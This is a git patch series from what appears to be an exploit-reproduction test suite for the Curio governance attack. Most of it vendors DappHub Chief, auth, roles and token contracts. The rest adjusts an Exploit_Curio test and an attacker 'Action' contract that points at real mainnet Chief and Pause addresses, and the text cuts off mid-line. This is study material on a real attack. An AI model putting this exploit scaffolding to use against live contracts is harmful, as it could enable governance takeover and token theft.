i = 0; i < yays.length; i++) { - approvals[yays[i]] -= weight; - } - } - - function vote(bytes32 slate) public { - require( - slates[slate].length > 0 - || slate == 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470, - "ds-chief-invalid-slate" - ); - uint256 weight = deposits[msg.sender]; - subWeight(weight, votes[msg.sender]); - votes[msg.sender] = slate; - addWeight(weight, votes[msg.sender]); - } - - function requireByteOrderedSet(address[] memory yays) internal pure { - if (yays.length == 0 || yays.length == 1) { - return; - } - - for (uint256 i = 0; i < yays.length - 1; i++) { - // strict inequality ensures both ordering and uniqueness - require(uint160(yays[i]) < uint160(yays[i + 1])); - } - } -} +// contract Chief is IDSChief { +// mapping(bytes32 => address[]) public slates; +// mapping(address => bytes32) public votes; +// mapping(address => uint256) public approvals; +// mapping(address => uint256) public deposits; + +// IDSToken public GOV; // voting token that gets locked up +// IDSToken public IOU; // non-voting representation of a token, for e.g. secondary voting mechanisms +// address public hat; // the chieftain's hat + +// uint256 public MAX_YAYS; + +// event Etch(bytes32 indexed slate); +// // event lock(uint256 amount); + +// // IOU constructed outside this contract reduces deployment costs significantly +// // lock/free/vote are quite sensitive to token invariants. Caution is advised. +// constructor(address GOV_, address IOU_, uint256 MAX_YAYS_) public { +// GOV = IDSToken(GOV_); +// IOU = IDSToken(IOU_); +// MAX_YAYS = MAX_YAYS_; +// } + +// function lock(uint256 wad) public { +// GOV.pull(msg.sender, wad); +// IOU.mint(msg.sender, wad); +// // deposits[msg.sender] = add(deposits[msg.sender], wad); +// deposits[msg.sender] += wad; +// addWeight(wad, votes[msg.sender]); +// } + +// function vote(address[] memory yays) public returns (bytes32) { +// bytes32 slate = etch(yays); +// vote(slate); +// return slate; +// } + +// function lift(address whom) public { +// require(approvals[whom] > approvals[hat]); +// hat = whom; +// } + +// // Aux functions not called directly +// function etch(address[] memory yays) public returns (bytes32 slate) { +// require(yays.length <= MAX_YAYS); +// requireByteOrderedSet(yays); + +// bytes32 hash = keccak256(abi.encodePacked(yays)); +// slates[hash] = yays; +// emit Etch(hash); +// return hash; +// } + +// function addWeight(uint256 weight, bytes32 slate) internal { +// address[] storage yays = slates[slate]; +// for (uint256 i = 0; i < yays.length; i++) { +// approvals[yays[i]] += weight; +// } +// } + +// function subWeight(uint256 weight, bytes32 slate) internal { +// address[] storage yays = slates[slate]; +// for (uint256 i = 0; i < yays.length; i++) { +// approvals[yays[i]] -= weight; +// } +// } + +// function vote(bytes32 slate) public { +// require( +// slates[slate].length > 0 +// || slate == 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470, +// "ds-chief-invalid-slate" +// ); +// uint256 weight = deposits[msg.sender]; +// subWeight(weight, votes[msg.sender]); +// votes[msg.sender] = slate; +// addWeight(weight, votes[msg.sender]); +// } + +// function requireByteOrderedSet(address[] memory yays) internal pure { +// if (yays.length == 0 || yays.length == 1) { +// return; +// } + +// for (uint256 i = 0; i < yays.length - 1; i++) { +// // strict inequality ensures both ordering and uniqueness +// require(uint160(yays[i]) < uint160(yays[i + 1])); +// } +// } +// } contract DSPause { uint256 public delay; diff --git a/test/Business_Logic/Curio/Chief/auth.sol b/test/Business_Logic/Curio/Chief/auth.sol new file mode 100644 index 00000000..6d7f5ad0 --- /dev/null +++ b/test/Business_Logic/Curio/Chief/auth.sol @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: GNU-3 +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +interface DSAuthority { + function canCall(address src, address dst, bytes4 sig) external view returns (bool); +} + +contract DSAuthEvents { + event LogSetAuthority(address indexed authority); + event LogSetOwner(address indexed owner); +} + +contract DSAuth is DSAuthEvents { + DSAuthority public authority; + address public owner; + + constructor() public { + owner = msg.sender; + emit LogSetOwner(msg.sender); + } + + function setOwner(address owner_) public virtual auth { + owner = owner_; + emit LogSetOwner(owner); + } + + function setAuthority(DSAuthority authority_) public virtual auth { + authority = authority_; + emit LogSetAuthority(address(authority)); + } + + modifier auth() { + require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); + _; + } + + function isAuthorized(address src, bytes4 sig) internal view returns (bool) { + if (src == address(this)) { + return true; + } else if (src == owner) { + return true; + } else if (authority == DSAuthority(address(0))) { + return false; + } else { + return authority.canCall(src, address(this), sig); + } + } +} diff --git a/test/Business_Logic/Curio/Chief/chief.sol b/test/Business_Logic/Curio/Chief/chief.sol new file mode 100644 index 00000000..3e6909fe --- /dev/null +++ b/test/Business_Logic/Curio/Chief/chief.sol @@ -0,0 +1,173 @@ +// chief.sol - select an authority by consensus + +// Copyright (C) 2017 DappHub, LLC + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +import "./token.sol"; +import "./roles.sol"; +import "./thing.sol"; + +// The right way to use this contract is probably to mix it with some kind +// of `DSAuthority`, like with `ds-roles`. +// SEE DSChief +contract DSChiefApprovals is DSThing { + mapping(bytes32 => address[]) public slates; + mapping(address => bytes32) public votes; + mapping(address => uint256) public approvals; + mapping(address => uint256) public deposits; + DSToken public GOV; // voting token that gets locked up + DSToken public IOU; // non-voting representation of a token, for e.g. secondary voting mechanisms + address public hat; // the chieftain's hat + + uint256 public MAX_YAYS; + + mapping(address => uint256) public last; + + bool public live; + + uint256 constant LAUNCH_THRESHOLD = 80_000 * 10 ** 18; // 80K MKR launch threshold + + event Etch(bytes32 indexed slate); + + // IOU constructed outside this contract reduces deployment costs significantly + // lock/free/vote are quite sensitive to token invariants. Caution is advised. + constructor(DSToken GOV_, DSToken IOU_, uint256 MAX_YAYS_) public { + GOV = GOV_; + IOU = IOU_; + MAX_YAYS = MAX_YAYS_; + } + + function launch() public note { + require(!live); + require(hat == address(0) && approvals[address(0)] >= LAUNCH_THRESHOLD); + live = true; + } + + function lock(uint256 wad) public note { + last[msg.sender] = block.number; + GOV.pull(msg.sender, wad); + IOU.mint(msg.sender, wad); + deposits[msg.sender] = add(deposits[msg.sender], wad); + addWeight(wad, votes[msg.sender]); + } + + function free(uint256 wad) public note { + require(block.number > last[msg.sender]); + deposits[msg.sender] = sub(deposits[msg.sender], wad); + subWeight(wad, votes[msg.sender]); + IOU.burn(msg.sender, wad); + GOV.push(msg.sender, wad); + } + + function etch(address[] memory yays) public note returns (bytes32 slate) { + require(yays.length <= MAX_YAYS); + requireByteOrderedSet(yays); + + bytes32 hash = keccak256(abi.encodePacked(yays)); + slates[hash] = yays; + emit Etch(hash); + return hash; + } + + function vote(address[] memory yays) public returns (bytes32) + // note both sub-calls note + { + bytes32 slate = etch(yays); + vote(slate); + return slate; + } + + function vote(bytes32 slate) public note { + require( + slates[slate].length > 0 + || slate == 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470, + "ds-chief-invalid-slate" + ); + uint256 weight = deposits[msg.sender]; + subWeight(weight, votes[msg.sender]); + votes[msg.sender] = slate; + addWeight(weight, votes[msg.sender]); + } + + // like `drop`/`swap` except simply "elect this address if it is higher than current hat" + function lift(address whom) public note { + require(approvals[whom] > approvals[hat]); + hat = whom; + } + + function addWeight(uint256 weight, bytes32 slate) internal { + address[] storage yays = slates[slate]; + for (uint256 i = 0; i < yays.length; i++) { + approvals[yays[i]] = add(approvals[yays[i]], weight); + } + } + + function subWeight(uint256 weight, bytes32 slate) internal { + address[] storage yays = slates[slate]; + for (uint256 i = 0; i < yays.length; i++) { + approvals[yays[i]] = sub(approvals[yays[i]], weight); + } + } + + // Throws unless the array of addresses is a ordered set. + function requireByteOrderedSet(address[] memory yays) internal pure { + if (yays.length == 0 || yays.length == 1) { + return; + } + for (uint256 i = 0; i < yays.length - 1; i++) { + // strict inequality ensures both ordering and uniqueness + require(uint160(yays[i]) < uint160(yays[i + 1])); + } + } +} + +// `hat` address is unique root user (has every role) and the +// unique owner of role 0 (typically 'sys' or 'internal') +contract DSChief is DSRoles, DSChiefApprovals { + constructor(DSToken GOV, DSToken IOU, uint256 MAX_YAYS) public DSChiefApprovals(GOV, IOU, MAX_YAYS) { + authority = this; + owner = address(0); + } + + function setOwner(address owner_) public override { + owner_; + revert(); + } + + function setAuthority(DSAuthority authority_) public override { + authority_; + revert(); + } + + function isUserRoot(address who) public view override returns (bool) { + return (live && who == hat); + } + + function setRootUser(address who, bool enabled) public override { + who; + enabled; + revert(); + } +} + +contract DSChiefFab { + function newChief(DSToken gov, uint256 MAX_YAYS) public returns (DSChief chief) { + DSToken iou = new DSToken("IOU"); + chief = new DSChief(gov, iou, MAX_YAYS); + iou.setOwner(address(chief)); + } +} diff --git a/test/Business_Logic/Curio/Chief/math.sol b/test/Business_Logic/Curio/Chief/math.sol new file mode 100644 index 00000000..230bdb8e --- /dev/null +++ b/test/Business_Logic/Curio/Chief/math.sol @@ -0,0 +1,96 @@ +/// math.sol -- mixin for inline numerical wizardry + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >0.4.13; + +contract DSMath { + function add(uint256 x, uint256 y) internal pure returns (uint256 z) { + require((z = x + y) >= x, "ds-math-add-overflow"); + } + + function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { + require((z = x - y) <= x, "ds-math-sub-underflow"); + } + + function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { + require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); + } + + function min(uint256 x, uint256 y) internal pure returns (uint256 z) { + return x <= y ? x : y; + } + + function max(uint256 x, uint256 y) internal pure returns (uint256 z) { + return x >= y ? x : y; + } + + function imin(int256 x, int256 y) internal pure returns (int256 z) { + return x <= y ? x : y; + } + + function imax(int256 x, int256 y) internal pure returns (int256 z) { + return x >= y ? x : y; + } + + uint256 constant WAD = 10 ** 18; + uint256 constant RAY = 10 ** 27; + + //rounds to zero if x*y < WAD / 2 + function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { + z = add(mul(x, y), WAD / 2) / WAD; + } + //rounds to zero if x*y < WAD / 2 + + function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { + z = add(mul(x, y), RAY / 2) / RAY; + } + //rounds to zero if x*y < WAD / 2 + + function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { + z = add(mul(x, WAD), y / 2) / y; + } + //rounds to zero if x*y < RAY / 2 + + function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { + z = add(mul(x, RAY), y / 2) / y; + } + + // This famous algorithm is called "exponentiation by squaring" + // and calculates x^n with x as fixed-point and n as regular unsigned. + // + // It's O(log n), instead of O(n) for naive repeated multiplication. + // + // These facts are why it works: + // + // If n is even, then x^n = (x^2)^(n/2). + // If n is odd, then x^n = x * x^(n-1), + // and applying the equation for even x gives + // x^n = x * (x^2)^((n-1) / 2). + // + // Also, EVM division is flooring and + // floor[(n-1) / 2] = floor[n / 2]. + // + function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { + z = n % 2 != 0 ? x : RAY; + + for (n /= 2; n != 0; n /= 2) { + x = rmul(x, x); + + if (n % 2 != 0) { + z = rmul(z, x); + } + } + } +} diff --git a/test/Business_Logic/Curio/Chief/note.sol b/test/Business_Logic/Curio/Chief/note.sol new file mode 100644 index 00000000..cdd61168 --- /dev/null +++ b/test/Business_Logic/Curio/Chief/note.sol @@ -0,0 +1,43 @@ +/// note.sol -- the `note' modifier, for logging calls as events + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +contract DSNote { + event LogNote( + bytes4 indexed sig, + address indexed guy, + bytes32 indexed foo, + bytes32 indexed bar, + uint256 wad, + bytes fax + ) anonymous; + + modifier note() { + bytes32 foo; + bytes32 bar; + uint256 wad; + + assembly { + foo := calldataload(4) + bar := calldataload(36) + wad := callvalue() + } + + _; + + emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data); + } +} diff --git a/test/Business_Logic/Curio/Chief/roles.sol b/test/Business_Logic/Curio/Chief/roles.sol new file mode 100644 index 00000000..82044dcd --- /dev/null +++ b/test/Business_Logic/Curio/Chief/roles.sol @@ -0,0 +1,91 @@ +// roles.sol - roled based authentication + +// Copyright (C) 2017 DappHub, LLC + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +import "./auth.sol"; + +contract DSRoles is DSAuth, DSAuthority { + mapping(address => bool) _root_users; + mapping(address => bytes32) _user_roles; + mapping(address => mapping(bytes4 => bytes32)) _capability_roles; + mapping(address => mapping(bytes4 => bool)) _public_capabilities; + + function getUserRoles(address who) public view returns (bytes32) { + return _user_roles[who]; + } + + function getCapabilityRoles(address code, bytes4 sig) public view returns (bytes32) { + return _capability_roles[code][sig]; + } + + function isUserRoot(address who) public view virtual returns (bool) { + return _root_users[who]; + } + + function isCapabilityPublic(address code, bytes4 sig) public view returns (bool) { + return _public_capabilities[code][sig]; + } + + function hasUserRole(address who, uint8 role) public view returns (bool) { + bytes32 roles = getUserRoles(who); + bytes32 shifted = bytes32(uint256(uint256(2) ** uint256(role))); + return bytes32(0) != roles & shifted; + } + + function canCall(address caller, address code, bytes4 sig) public view returns (bool) { + if (isUserRoot(caller) || isCapabilityPublic(code, sig)) { + return true; + } else { + bytes32 has_roles = getUserRoles(caller); + bytes32 needs_one_of = getCapabilityRoles(code, sig); + return bytes32(0) != has_roles & needs_one_of; + } + } + + function BITNOT(bytes32 input) internal pure returns (bytes32 output) { + return (input ^ bytes32(type(uint256).max)); + } + + function setRootUser(address who, bool enabled) public virtual auth { + _root_users[who] = enabled; + } + + function setUserRole(address who, uint8 role, bool enabled) public auth { + bytes32 last_roles = _user_roles[who]; + bytes32 shifted = bytes32(uint256(uint256(2) ** uint256(role))); + if (enabled) { + _user_roles[who] = last_roles | shifted; + } else { + _user_roles[who] = last_roles & BITNOT(shifted); + } + } + + function setPublicCapability(address code, bytes4 sig, bool enabled) public auth { + _public_capabilities[code][sig] = enabled; + } + + function setRoleCapability(uint8 role, address code, bytes4 sig, bool enabled) public auth { + bytes32 last_roles = _capability_roles[code][sig]; + bytes32 shifted = bytes32(uint256(uint256(2) ** uint256(role))); + if (enabled) { + _capability_roles[code][sig] = last_roles | shifted; + } else { + _capability_roles[code][sig] = last_roles & BITNOT(shifted); + } + } +} diff --git a/test/Business_Logic/Curio/Chief/thing.sol b/test/Business_Logic/Curio/Chief/thing.sol new file mode 100644 index 00000000..22290c23 --- /dev/null +++ b/test/Business_Logic/Curio/Chief/thing.sol @@ -0,0 +1,28 @@ +// thing.sol - `auth` with handy mixins. your things should be DSThings + +// Copyright (C) 2017 DappHub, LLC + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +import "./auth.sol"; +import "./note.sol"; +import "./math.sol"; + +contract DSThing is DSAuth, DSNote, DSMath { + function S(string memory s) internal pure returns (bytes4) { + return bytes4(keccak256(abi.encodePacked(s))); + } +} diff --git a/test/Business_Logic/Curio/Chief/token.sol b/test/Business_Logic/Curio/Chief/token.sol new file mode 100644 index 00000000..9003f9ba --- /dev/null +++ b/test/Business_Logic/Curio/Chief/token.sol @@ -0,0 +1,130 @@ +/// token.sol -- ERC20 implementation with minting and burning + +// Copyright (C) 2015, 2016, 2017 DappHub, LLC + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +import "./math.sol"; +import "./auth.sol"; + +contract DSToken is DSMath, DSAuth { + bool public stopped; + uint256 public totalSupply; + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + string public symbol; + uint8 public decimals = 18; // standard token precision. override to customize + string public name = ""; // Optional token name + + constructor(string memory symbol_) public { + symbol = symbol_; + } + + event Approval(address indexed src, address indexed guy, uint256 wad); + event Transfer(address indexed src, address indexed dst, uint256 wad); + event Mint(address indexed guy, uint256 wad); + event Burn(address indexed guy, uint256 wad); + event Stop(); + event Start(); + + modifier stoppable() { + require(!stopped, "ds-stop-is-stopped"); + _; + } + + function approve(address guy) external returns (bool) { + return approve(guy, type(uint256).max); + } + + function approve(address guy, uint256 wad) public stoppable returns (bool) { + allowance[msg.sender][guy] = wad; + + emit Approval(msg.sender, guy, wad); + + return true; + } + + function transfer(address dst, uint256 wad) external returns (bool) { + return transferFrom(msg.sender, dst, wad); + } + + function transferFrom(address src, address dst, uint256 wad) public stoppable returns (bool) { + if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) { + require(allowance[src][msg.sender] >= wad, "ds-token-insufficient-approval"); + allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad); + } + + require(balanceOf[src] >= wad, "ds-token-insufficient-balance"); + balanceOf[src] = sub(balanceOf[src], wad); + balanceOf[dst] = add(balanceOf[dst], wad); + + emit Transfer(src, dst, wad); + + return true; + } + + function push(address dst, uint256 wad) external { + transferFrom(msg.sender, dst, wad); + } + + function pull(address src, uint256 wad) external { + transferFrom(src, msg.sender, wad); + } + + function move(address src, address dst, uint256 wad) external { + transferFrom(src, dst, wad); + } + + function mint(uint256 wad) external { + mint(msg.sender, wad); + } + + function burn(uint256 wad) external { + burn(msg.sender, wad); + } + + function mint(address guy, uint256 wad) public auth stoppable { + balanceOf[guy] = add(balanceOf[guy], wad); + totalSupply = add(totalSupply, wad); + emit Mint(guy, wad); + } + + function burn(address guy, uint256 wad) public auth stoppable { + if (guy != msg.sender && allowance[guy][msg.sender] != type(uint256).max) { + require(allowance[guy][msg.sender] >= wad, "ds-token-insufficient-approval"); + allowance[guy][msg.sender] = sub(allowance[guy][msg.sender], wad); + } + + require(balanceOf[guy] >= wad, "ds-token-insufficient-balance"); + balanceOf[guy] = sub(balanceOf[guy], wad); + totalSupply = sub(totalSupply, wad); + emit Burn(guy, wad); + } + + function stop() public auth { + stopped = true; + emit Stop(); + } + + function start() public auth { + stopped = false; + emit Start(); + } + + function setName(string memory name_) public auth { + name = name_; + } +} diff --git a/test/Business_Logic/Curio/Curio.attack.sol b/test/Business_Logic/Curio/Curio.attack.sol index ef9228d5..a05b7e86 100644 --- a/test/Business_Logic/Curio/Curio.attack.sol +++ b/test/Business_Logic/Curio/Curio.attack.sol @@ -8,6 +8,7 @@ import "./AttackerContract.sol"; import "./Interfaces.sol"; import "./vat.sol"; import "./join.sol"; +import "./Chief/chief.sol"; contract Exploit_Curio is TestHarness, TokenBalanceTracker { // Instances of tokens involved @@ -17,7 +18,7 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { // Instances of relevant contracts // Attacker contracts Action attackerContract; - Chief chief; + DSChief chief; DSPause pause; Vat vat; DaiJoin daiJoin; @@ -104,7 +105,7 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { console.log("IOU token contract deployement successful at: %s", address(IOU)); cheat.prank(ATTACKER); - chief = new Chief(address(cgtToken), address(IOU), type(uint256).max); + chief = new DSChief(DSToken(address(cgtToken)), DSToken(address(IOU)), type(uint256).max); require(address(chief).code.length != 0, "Chief deployment failed"); console.log("Chief contract deployement successful at: %s", address(chief)); From c84ab54469c8a342ee67db4f0e9acf1f9cd3b091 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Wed, 5 Jun 2024 17:18:52 -0300 Subject: [PATCH 11/19] rearrange dependencies --- .../Business_Logic/Curio/AttackerContract.sol | 161 +----------------- test/Business_Logic/Curio/Curio.attack.sol | 6 +- .../Curio/{ => ds-contracts}/Chief/auth.sol | 0 .../Curio/{ => ds-contracts}/Chief/chief.sol | 0 .../Curio/{ => ds-contracts}/Chief/math.sol | 0 .../Curio/{ => ds-contracts}/Chief/note.sol | 0 .../Curio/{ => ds-contracts}/Chief/roles.sol | 0 .../Curio/{ => ds-contracts}/Chief/thing.sol | 0 .../Curio/{ => ds-contracts}/Chief/token.sol | 0 .../Curio/{ => ds-contracts}/join.sol | 0 .../Curio/ds-contracts/pause.sol | 60 +++++++ .../Curio/{ => ds-contracts}/vat.sol | 0 12 files changed, 68 insertions(+), 159 deletions(-) rename test/Business_Logic/Curio/{ => ds-contracts}/Chief/auth.sol (100%) rename test/Business_Logic/Curio/{ => ds-contracts}/Chief/chief.sol (100%) rename test/Business_Logic/Curio/{ => ds-contracts}/Chief/math.sol (100%) rename test/Business_Logic/Curio/{ => ds-contracts}/Chief/note.sol (100%) rename test/Business_Logic/Curio/{ => ds-contracts}/Chief/roles.sol (100%) rename test/Business_Logic/Curio/{ => ds-contracts}/Chief/thing.sol (100%) rename test/Business_Logic/Curio/{ => ds-contracts}/Chief/token.sol (100%) rename test/Business_Logic/Curio/{ => ds-contracts}/join.sol (100%) create mode 100644 test/Business_Logic/Curio/ds-contracts/pause.sol rename test/Business_Logic/Curio/{ => ds-contracts}/vat.sol (100%) diff --git a/test/Business_Logic/Curio/AttackerContract.sol b/test/Business_Logic/Curio/AttackerContract.sol index 4d141297..a4d66ce0 100644 --- a/test/Business_Logic/Curio/AttackerContract.sol +++ b/test/Business_Logic/Curio/AttackerContract.sol @@ -2,7 +2,9 @@ pragma solidity ^0.8.24; import "./Interfaces.sol"; import "forge-std/console.sol"; -import "./Chief/chief.sol"; +import "./ds-contracts/Chief/chief.sol"; + +import "./ds-contracts/pause.sol"; // Contract used by the attacker to get outstanding CGT balance // The contract is verified at https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545#code @@ -18,10 +20,10 @@ contract Action { pans = msg.sender; // Somehow Chief and Pause in tandem receive minting privileges to CSC Token // Addresses used by the attacker - // chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); + chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f); - chief = IDSChief(_chief); + // chief = IDSChief(_chief); // pause = DSPause(_pause); } @@ -91,159 +93,6 @@ contract Spell { } } -// Chief contract introduced by Maker: -// https://docs.makerdao.com/smart-contract-modules/governance-module/chief-detailed-documentation -// Reference code: https://github.com/dapphub/ds-chief/blob/master/src/chief.sol -// contract Chief is IDSChief { -// mapping(bytes32 => address[]) public slates; -// mapping(address => bytes32) public votes; -// mapping(address => uint256) public approvals; -// mapping(address => uint256) public deposits; - -// IDSToken public GOV; // voting token that gets locked up -// IDSToken public IOU; // non-voting representation of a token, for e.g. secondary voting mechanisms -// address public hat; // the chieftain's hat - -// uint256 public MAX_YAYS; - -// event Etch(bytes32 indexed slate); -// // event lock(uint256 amount); - -// // IOU constructed outside this contract reduces deployment costs significantly -// // lock/free/vote are quite sensitive to token invariants. Caution is advised. -// constructor(address GOV_, address IOU_, uint256 MAX_YAYS_) public { -// GOV = IDSToken(GOV_); -// IOU = IDSToken(IOU_); -// MAX_YAYS = MAX_YAYS_; -// } - -// function lock(uint256 wad) public { -// GOV.pull(msg.sender, wad); -// IOU.mint(msg.sender, wad); -// // deposits[msg.sender] = add(deposits[msg.sender], wad); -// deposits[msg.sender] += wad; -// addWeight(wad, votes[msg.sender]); -// } - -// function vote(address[] memory yays) public returns (bytes32) { -// bytes32 slate = etch(yays); -// vote(slate); -// return slate; -// } - -// function lift(address whom) public { -// require(approvals[whom] > approvals[hat]); -// hat = whom; -// } - -// // Aux functions not called directly -// function etch(address[] memory yays) public returns (bytes32 slate) { -// require(yays.length <= MAX_YAYS); -// requireByteOrderedSet(yays); - -// bytes32 hash = keccak256(abi.encodePacked(yays)); -// slates[hash] = yays; -// emit Etch(hash); -// return hash; -// } - -// function addWeight(uint256 weight, bytes32 slate) internal { -// address[] storage yays = slates[slate]; -// for (uint256 i = 0; i < yays.length; i++) { -// approvals[yays[i]] += weight; -// } -// } - -// function subWeight(uint256 weight, bytes32 slate) internal { -// address[] storage yays = slates[slate]; -// for (uint256 i = 0; i < yays.length; i++) { -// approvals[yays[i]] -= weight; -// } -// } - -// function vote(bytes32 slate) public { -// require( -// slates[slate].length > 0 -// || slate == 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470, -// "ds-chief-invalid-slate" -// ); -// uint256 weight = deposits[msg.sender]; -// subWeight(weight, votes[msg.sender]); -// votes[msg.sender] = slate; -// addWeight(weight, votes[msg.sender]); -// } - -// function requireByteOrderedSet(address[] memory yays) internal pure { -// if (yays.length == 0 || yays.length == 1) { -// return; -// } - -// for (uint256 i = 0; i < yays.length - 1; i++) { -// // strict inequality ensures both ordering and uniqueness -// require(uint160(yays[i]) < uint160(yays[i + 1])); -// } -// } -// } - -contract DSPause { - uint256 public delay; - DSPauseProxy public proxy; - mapping(bytes32 => bool) public plans; - - constructor(uint256 delay_, address owner_, address authority_) public { - delay = delay_; - proxy = new DSPauseProxy(); - } - - function hash(address usr, bytes32 tag, bytes memory fax, uint256 eta) internal pure returns (bytes32) { - return keccak256(abi.encode(usr, tag, fax, eta)); - } - - function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) public { - require(eta >= block.timestamp + delay, "ds-pause-delay-not-respected"); - plans[hash(usr, tag, fax, eta)] = true; - } - - function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta) - public - returns (bytes memory out) - { - require(plans[hash(usr, tag, fax, eta)], "ds-pause-unplotted-plan"); - require(soul(usr) == tag, "ds-pause-wrong-codehash"); - require(block.timestamp >= eta, "ds-pause-premature-exec"); - - plans[hash(usr, tag, fax, eta)] = false; - - out = proxy.exec(usr, fax); - require(proxy.owner() == address(this), "ds-pause-illegal-storage-change"); - } - - function soul(address usr) internal view returns (bytes32 tag) { - assembly { - tag := extcodehash(usr) - } - } -} - -contract DSPauseProxy { - address public owner; - - modifier auth() { - require(msg.sender == owner, "ds-pause-proxy-unauthorized"); - _; - } - - constructor() public { - owner = msg.sender; - } - - function exec(address usr, bytes memory fax) public auth returns (bytes memory out) { - bool ok; - (ok, out) = usr.delegatecall(fax); - require(ok, "ds-pause-delegatecall-error"); - } -} - contract IOUToken { event Mint(address to, uint256 amount); diff --git a/test/Business_Logic/Curio/Curio.attack.sol b/test/Business_Logic/Curio/Curio.attack.sol index a05b7e86..52c01164 100644 --- a/test/Business_Logic/Curio/Curio.attack.sol +++ b/test/Business_Logic/Curio/Curio.attack.sol @@ -6,9 +6,9 @@ import {TestHarness} from "../../TestHarness.sol"; import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol"; import "./AttackerContract.sol"; import "./Interfaces.sol"; -import "./vat.sol"; -import "./join.sol"; -import "./Chief/chief.sol"; +import "./ds-contracts/vat.sol"; +import "./ds-contracts/join.sol"; +import "./ds-contracts/Chief/chief.sol"; contract Exploit_Curio is TestHarness, TokenBalanceTracker { // Instances of tokens involved diff --git a/test/Business_Logic/Curio/Chief/auth.sol b/test/Business_Logic/Curio/ds-contracts/Chief/auth.sol similarity index 100% rename from test/Business_Logic/Curio/Chief/auth.sol rename to test/Business_Logic/Curio/ds-contracts/Chief/auth.sol diff --git a/test/Business_Logic/Curio/Chief/chief.sol b/test/Business_Logic/Curio/ds-contracts/Chief/chief.sol similarity index 100% rename from test/Business_Logic/Curio/Chief/chief.sol rename to test/Business_Logic/Curio/ds-contracts/Chief/chief.sol diff --git a/test/Business_Logic/Curio/Chief/math.sol b/test/Business_Logic/Curio/ds-contracts/Chief/math.sol similarity index 100% rename from test/Business_Logic/Curio/Chief/math.sol rename to test/Business_Logic/Curio/ds-contracts/Chief/math.sol diff --git a/test/Business_Logic/Curio/Chief/note.sol 